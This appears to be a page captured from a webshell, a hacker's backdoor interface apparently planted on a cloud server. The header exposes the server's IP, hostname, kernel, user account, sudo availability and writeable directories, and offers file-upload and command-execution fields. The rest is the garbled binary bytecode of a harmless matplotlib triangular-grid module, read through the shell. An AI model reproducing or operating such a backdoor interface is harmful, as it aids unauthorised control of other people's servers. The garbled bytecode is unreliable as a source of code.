403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tri/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tri/__pycache__/tritools.cpython-312.pyc
�

G8�cN)��<�dZddlZddlmZddlmZGd�d�Zy)z
Tools for triangular grids.
�N)�_api)�
Triangulationc�L�eZdZdZd�Zed��Zd	d�Zd
d�Zd�Z	e
d��Zy)�TriAnalyzera�
    Define basic tools for triangular mesh analysis and improvement.

    A TriAnalyzer encapsulates a `.Triangulation` object and provides basic
    tools for mesh analysis and mesh improvement.

    Attributes
    ----------
    scale_factors

    Parameters
    ----------
    triangulation : `~matplotlib.tri.Triangulation`
        The encapsulated triangulation to analyze.
    c�H�tjt|��||_y)N)�
triangulation)r�check_isinstancer�_triangulation)�selfrs  �9/usr/lib/python3/dist-packages/matplotlib/tri/tritools.py�__init__zTriAnalyzer.__init__s�����m�=�I�+���c��|jj�}tjtj|�|jj
j��dk7}dtj|jj
|�zdtj|jj|�zfS)a-
        Factors to rescale the triangulation into a unit square.

        Returns
        -------
        (float, float)
            Scaling factors (kx, ky) so that the triangulation
            ``[triangulation.x * kx, triangulation.y * ky]``
            fits exactly inside a unit square.
        ��	minlengthr�)	r
�get_masked_triangles�np�bincount�ravel�x�size�ptp�y)r�compressed_triangles�	node_useds   r�
scale_factorszTriAnalyzer.scale_factors s��� $�2�2�G�G�I���[�[����*>�!?�+/�+>�+>�+@�+@�+E�+E�G�JK�L�	��B�F�F�4�.�.�0�0��;�<�<��B�F�F�4�.�.�0�0��;�<�<�>�	>rc���|r|j\}}nd\}}tj|jj|z|jj
|zg�j}||jj}|dd�ddd�f|dd�ddd�fz
}|dd�ddd�f|dd�ddd�fz
}|dd�ddd�f|dd�ddd�fz
}tj|dd�df|dd�df�}tj|dd�df|dd�df�}tj|dd�df|dd�df�}||z|zdz}	|	||z|	z
z||z|	z
z||z|	z
z}
|
dk(}tj|�rw|jd}tj|tj��}
tj|
|<||z|z}||d	tj|
|�zz|
|<n!||z|zd	tj|
�zz}
||z|zd	|
z|	zz}||
z}|jj}|�|Stj j#||�
�S)aN
        Return a measure of the triangulation triangles flatness.

        The ratio of the incircle radius over the circumcircle radius is a
        widely used indicator of a triangle flatness.
        It is always ``<= 0.5`` and ``== 0.5`` only for equilateral
        triangles. Circle ratios below 0.01 denote very flat triangles.

        To avoid unduly low values due to a difference of scale between the 2
        axis, the triangular mesh can first be rescaled to fit inside a unit
        square with `scale_factors` (Only if *rescale* is True, which is
        its default value).

        Parameters
        ----------
        rescale : bool, default: True
            If True, internally rescale (based on `scale_factors`), so that the
            (unmasked) triangles fit exactly inside a unit square mesh.

        Returns
        -------
        masked array
            Ratio of the incircle radius over the circumcircle radius, for
            each 'rescaled' triangle of the encapsulated triangulation.
            Values corresponding to masked triangles are masked out.

        )��?rNrr�g�?g��dtypeg@)�mask)rr�vstackr
rr�T�	triangles�hypot�any�shape�empty�float64�inf�sqrtr#�ma�array)r�rescale�kx�ky�pts�tri_pts�a�b�c�s�prod�	bool_flat�ntri�
circum_radius�abc�	in_radius�circle_ratior#s                  r�
circle_ratioszTriAnalyzer.circle_ratios2sn��:��)�)�H�R��!�H�R���i�i��,�,�.�.�r�1��,�,�.�.�r�1�3�4�45�A�	��d�)�)�3�3�4���A�q�!�G��w�q�!�Q�w�/�/���A�q�!�G��w�q�!�Q�w�/�/���A�q�!�G��w�q�!�Q�w�/�/���H�H�Q�q�!�t�W�a��1��g�&���H�H�Q�q�!�t�W�a��1��g�&���H�H�Q�q�!�t�W�a��1��g�&��
�q�S��U�C�K���!�A�#�a�%�y�!�A�#�a�%� �!�A�#�a�%�(���R�Z�	�
�6�6�)���=�=��#�D��H�H�T����<�M�')�v�v�M�)�$��A�#�a�%�C�(+�Y�J���B�G�G�D�)��,�-�-�)/�M�9�*�%��q�S��U�s�2�7�7�4�=�'8�9�M��q�S��U�s�=�0��2�3�	� ��.���"�"�'�'���<����5�5�;�;�|�$�;�7�7rc��|jjjd}|j|�|k}|jj}|�tj|t��}tj|jj�}tj|t
j��}d}|dk7rntj|d��dk(|z}	|	|z}
|
|z}tj|
�}d||
dd�f<d||
<tj|dk(d||�}|dk7r�nt
jj!|d�S)a
        Eliminate excessively flat border triangles from the triangulation.

        Returns a mask *new_mask* which allows to clean the encapsulated
        triangulation from its border-located flat triangles
        (according to their :meth:`circle_ratios`).
        This mask is meant to be subsequently applied to the triangulation
        using `.Triangulation.set_mask`.
        *new_mask* is an extension of the initial triangulation mask
        in the sense that an initially masked triangle will remain masked.

        The *new_mask* array is computed recursively; at each step flat
        triangles are removed only if they share a side with the current mesh
        border. Thus no new holes in the triangulated domain will be created.

        Parameters
        ----------
        min_circle_ratio : float, default: 0.01
            Border triangles with incircle/circumcircle radii ratio r/R will
            be removed if r/R < *min_circle_ratio*.
        rescale : bool, default: True
            If True, first, internally rescale (based on `scale_factors`) so
            that the (unmasked) triangles fit exactly inside a unit square
            mesh.  This rescaling accounts for the difference of scale which
            might exist between the 2 axis.

        Returns
        -------
        array of bool
            Mask to apply to encapsulated triangulation.
            All the initially masked triangles remain masked in the
            *new_mask*.

        Notes
        -----
        The rationale behind this function is that a Delaunay
        triangulation - of an unstructured set of points - sometimes contains
        almost flat triangles at its border, leading to artifacts in plots
        (especially for high-resolution contouring).
        Masked with computed *new_mask*, the encapsulated
        triangulation would contain no more unmasked border triangles
        with a circle ratio below *min_circle_ratio*, thus improving the
        mesh quality for subsequent plots or interpolation.
        rNr!���r)�axisT)r
r&r)r@r#r�zeros�bool�copy�	neighbors�arange�int32�min�sum�wherer.�filled)r�min_circle_ratior0r;�mask_bad_ratio�current_mask�valid_neighbors�renum_neighbors�nadd�	wavefront�
added_masks           r�get_flat_tri_maskzTriAnalyzer.get_flat_tri_maskus4��`�"�"�,�,�2�2�1�5���+�+�G�4�7G�G���*�*�/�/�����8�8�D��5�L��'�'�$�"5�"5�"?�"?�@���)�)�D����9�����a�i�����a�8�B�>�<�-�O�I�#�^�3�J�%��4�L��6�6�*�%�D�.0�O�J��M�*�*,�O�J�'� �h�h��"�'<�b�'6��'G�I�O��a�i� �u�u�|�|�L�$�/�/rc�P�|jj}|jj�}|jjjd}|�|j|�}n%t
j|tj��}t
jt
j|�|jjj��dk7}|jj|}|jj|}|j|�}||}|||||fS)a�
        Compress (if masked) the encapsulated triangulation.

        Returns minimal-length triangles array (*compressed_triangles*) and
        coordinates arrays (*compressed_x*, *compressed_y*) that can still
        describe the unmasked triangles of the encapsulated triangulation.

        Returns
        -------
        compressed_triangles : array-like
            the returned compressed triangulation triangles
        compressed_x : array-like
            the returned compressed triangulation 1st coordinate
        compressed_y : array-like
            the returned compressed triangulation 2nd coordinate
        tri_renum : int array
            renumbering table to translate the triangle numbers from the
            encapsulated triangulation into the new (compressed) renumbering.
            -1 for masked triangles (deleted from *compressed_triangles*).
        node_renum : int array
            renumbering table to translate the point numbers from the
            encapsulated triangulation into the new (compressed) renumbering.
            -1 for unused points (i.e. those deleted from *compressed_x* and
            *compressed_y*).

        rr!r)r
r#rr&r)�_total_to_compress_renumrrHrIrrrrr)	r�tri_maskrr;�	tri_renum�
valid_node�compressed_x�compressed_y�
node_renums	         r�_get_compressed_triangulationz)TriAnalyzer._get_compressed_triangulation�s
��8�&�&�+�+��#�2�2�G�G�I���"�"�,�,�2�2�1�5�����5�5�x�i�@�I��	�	�$�b�h�h�7�I��k�k�"�(�(�+?�"@�,0�,?�,?�,A�,A�,F�,F�H�KL�M�
��*�*�,�,�Z�8���*�*�,�,�Z�8���2�2�:�>�
� *�*>�?��$�l�L�)���	rc���tjtj|�dtj��}tj|�}tj
|tj��||<|S)a�
        Parameters
        ----------
        valid : 1D bool array
            Validity mask.

        Returns
        -------
        int array
            Array so that (`valid_array` being a compressed array
            based on a `masked_array` with mask ~*valid*):

            - For all i with valid[i] = True:
              valid_array[renum[i]] = masked_array[i]
            - For all i with valid[i] = False:
              renum[i] = -1 (invalid value)
        rBr!)r�fullrrIrKrH)�valid�renum�n_valids   rrXz$TriAnalyzer._total_to_compress_renum�sL��&���������"�(�(�;���&�&��-���y�y�����9��e���rN)T)g{�G�z�?T)�__name__�
__module__�__qualname__�__doc__r
�propertyrr@rVr_�staticmethodrX�rrrrsH��� ,��>��>�"A8�FI0�V/�b���rr)rh�numpyr�
matplotlibr�matplotlib.trirrrkrr�<module>ros!�����(�|�|r

Youez - 2016 - github.com/yon3zu
LinuXploit